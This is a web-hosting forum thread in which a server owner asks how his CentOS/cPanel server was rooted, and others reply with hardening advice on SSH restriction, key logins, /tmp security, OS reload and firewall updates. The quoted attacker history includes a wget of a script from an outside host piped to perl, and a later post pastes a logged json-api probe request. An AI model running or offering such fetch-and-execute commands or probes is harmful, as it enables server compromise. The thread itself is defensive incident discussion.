How the heck did I get rooted??!??

[jandafields]

My server was rooted, somehow. I pride myself on security, and my root password is well over 10 random numbers and letters.

But, there they are, in the root .bash_history:

cd /tmp
pico /usr/local/apache/conf/includes/errordocument.conf
cat /etc/passwd
service httpd restart
service httpd restart
chmod 000 /home
chmod 711 /home
wget gemicikursu.net/templates/ja_praon/log
perl log
id
cat /etc/passwd
pwd

What they did was to modify errordocuments so that all 403 redirects show a "TeaM HITMAN HaCkEr" page along with the output of what they got with the id command (full root access).

That "prel log" program is a server-cleaner... it deletes a lot of logs. Fortunately for me, they did not delete that perl program, and it didn't delete the .bash_history very well.

I'm using centos 5, latest updates, latest kernel, latest apache, latest php.

I can understand hacking a website and getting user-level access... but HOW do they get root access??? My server is hardened with most of the recommendations, except for disallowing root ssh access on 22... but that requires guessing passwords. My firewall blocks multiple password attempts.

I have never given my password to anyone other than my datacenter.

[cPanelTristan]

I would highly suggest blocking root SSH access to only the IP addresses you use for your systems. You can do this in WHM > Host Access Control area.

As for how someone got onto the machine as root user, have you scanned any system you use for trojans? Also, do you change your root password whenever you provide it to your datacenter? I wouldn't let the datacenter have the root password on file. At the most, I would have a sudo user and give them that user for access. The datacenter can always single boot mode a server to get onto it, so there's no reason to provide them with the root password normally.

[jandafields]

Yes, I use rkhunter and chkrootkit and the whm trojan scanner. They all come up clean.

I did not change the password after giving it to the datacenter, but that would be quite an accusation against a large respected datacenter. Anyway, I have changed the password now, of course, and I will change the port as well.

[cPanelTristan]

For trojan scanning, I meant on your systems that you connect to the server in case somehow your local system were compromised.

As for accusing a large datacenter, I wasn't implicating anything about this being purposeful in any way. They can have security breaches as well. Look at Sony.

Again, I highly suggest blocking SSH access to only your IP addresses. Changing the port will only minimize the attack, since attackers use port scanners to find the port a service is listening on. They cannot access SSH if all IPs are blocked besides your own.

[nobodyk]

If you don't have any protection on you shh port, then it's only a matter of time before you get rooted. I setup a test vps a few months ago, then after I was looking for a command that I wanted to use again I notice other commands that I know I never used...turns out the hacker use my vps to brute force other servers. I password was 6 characters long and I was rooted in a day...

Granted I didn't had any security on it, it was an out-of-the-box setup.

For my servers I only use password protect ssh keys and disable password authentication. I also have e-mail sent if someone logs in as root. For best security, disable root logins and use key logins for the wheel user, then su to root. Though my way is a lot faster to login and with good security. Remember to have a firewall installed like CSF, though I think cPanel also provides brute protection.

[brianoz]

At a guess, perhaps they got your password and used that to escalate to root. Could have been session sniffing (often unsecure public wifi - ftp and POP both don't encrypt sessions at all), or could have been a keylogging trojan on your PC.

[arhs]

Use public keys for SSH authentication.

[adminlogs]

Hi,

If you are sure your server is rooted , then its always better to do an OS reload.

If you are still stay with the current OS , then you need to re audit your security settings .

From the given root history , its seems that your /tmp is not secured. Vulnerable file is executed from /tmp. Its a major security tweak. You can refer the following url

/http://adminlogs.info/2011/04/18/tmp-hack/

Also ssh port change will not make that much effect , because there are lots of port scanners available. But you can do the following
1) Restrict ssh access from the trusted network/machine
2) Disable direct root login.

In my personal opinion , reload os , secure/tweak the new one and copy the data from backup drive.

Sincerely,
/http://www.adminlogs.info

[SoftDux]

SSH ports on all our servers are in the 50000 > 60000 range and we use brute force protection to lock out an IP address through iptables on 5 incorrect login attempts, with email notification to a few admins. Since doing this a few years ago we've never had any SSH login attempts.

You could also use port knocking, with maybe 3 / 4 ports to knock-on and then open / enable SSH for further security

[Curious Too]

Are you using CSF Firewall? If so, have you updated to the latest version? There was an exploit in versions older than 5.30 that allowed root privilege escalation.

[anand]

My server was rooted, somehow. I pride myself on security, and my root password is well over 10 random numbers and letters.

But, there they are, in the root .bash_history:

cd /tmp
pico /usr/local/apache/conf/includes/errordocument.conf
cat /etc/passwd
service httpd restart
service httpd restart
chmod 000 /home
chmod 711 /home
wget gemicikursu.net/templates/ja_praon/log
perl log
id
cat /etc/passwd
pwd

What they did was to modify errordocuments so that all 403 redirects show a "TeaM HITMAN HaCkEr" page along with the output of what they got with the id command (full root access).

Did you ever find out how this happened ? Just happened for me on one of my remote VM's. Still trying to figure out how this happened. Found the same exact commands and the same page like you did.

[vincentg]

Is this possible? The json-api has a security hole?
I had some script kiddies hit one of my servers
When I check the logs I see this:

GET /json-api/cpanel?cpanel_jsonapi_module=NVData&cpanel_jsonapi_func=set&cpanel_jsonapi_apiversion=2&names=icFAA&icFAA=%7B%22addondomain%22%3A2%2C%22analogstats%22%3A4%2C%22anonymousmsg%22%3A1%2C%22apache%22%3A3%2C%22awstats%22%3A14%2C%22chooselog%22%3A1%2C%22emailmx%22%3A1%2C%22emailroute%22%3A1%2C%22errorlogs%22%3A1%2C%22filemanager%22%3A63%2C%22ftpaccounts%22%3A3%2C%22ftpcontrol%22%3A3%2C%22hd%22%3A1%2C%22hdspace%22%3A3%2C%22image-manager%22%3A1%2C%22index%22%3A4%2C%22keys%22%3A2%2C%22latestvisitors%22%3A4%2C%22legacy_filemanager%22%3A2%2C%22manageaccounts%22%3A1%2C%22mysql%22%3A8%2C%22mysql-remoteaccess%22%3A2%2C%22nettools%22%3A4%2C%22networkmonitor%22%3A1%2C%22null%22%3A1%2C%22parkeddomains%22%3A5%2C%22password%22%3A1%2C%22password-protect%22%3A1%2C%22phpMyAdmin%22%3A9%2C%22rawaccesslogs%22%3A1%2C%22redirects%22%3A16%2C%22scripts-library%22%3A1%2C%22simplezoneedit%22%3A3%2C%22subdomains%22%3A4%2C%22submit-support%22%3A2%2C%22updatecontact%22%3A7%2C%22userfiltering%22%3A1%2C%22webalizerlog%22%3A1%2C%22webdav%22%3A4%2C%22webemail%22%3A1%2C%22php%22%3A2%2C%22lookandfeel%22%3A1%2C%22leechprotect%22%3A1%2C%22hotlinkprotect%22%3A1%2C%22ipdeny%22%3A1%2C%22getstart%22%3A1%7D&__nvdata%3A%3Anocache=1 HTTP/1.1" 403 0 "http://musicorb.com:2082/frontend/x3/index.html?post_login=18002099552856" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15"

Seems they are trying to blow past the security with that call.
Am I wrong? Anynoe have an idea?
And if json-api is a security risk can we block all from outside IP's from accessing it!
I think that would have been a good idea to do as this kiddie used json-api to access multiple sites and tagged them.

Suggest you check your cpanel logs at --> /usr/local/cpanel/logs/access_log

[brianoz]

The presence of that line in your log only shows that they attempted to get in that way, it doesn't prove that it was successful. You'd need to check logs and other things to look for time stamps lining up with the attempt, at least, to have any idea of whether it even *might* have been the successful attempt.

[vincentg]

Yes your quite right he wasn't able to get in this time - that's because I closed the door on them and was watching what they do.
I think if you read my post you will see I said they hit many websites by appending links to the index files.
So it's quite clear they did get in prior to my shutting them out.
Make no mistake about it this code is from the same IP's that did the damage and what ever they were trying I believe it's worth looking at.

That code kinda stands out to me as being important since it came from the people that did break in.

[cPanelTristan]

If you believe there is a security issue with the cPanel API in some way, please submit a bug report for this to be investigated. You can go to http://go.cpanel.net/bugs or using the Bugs link at the top of the forum.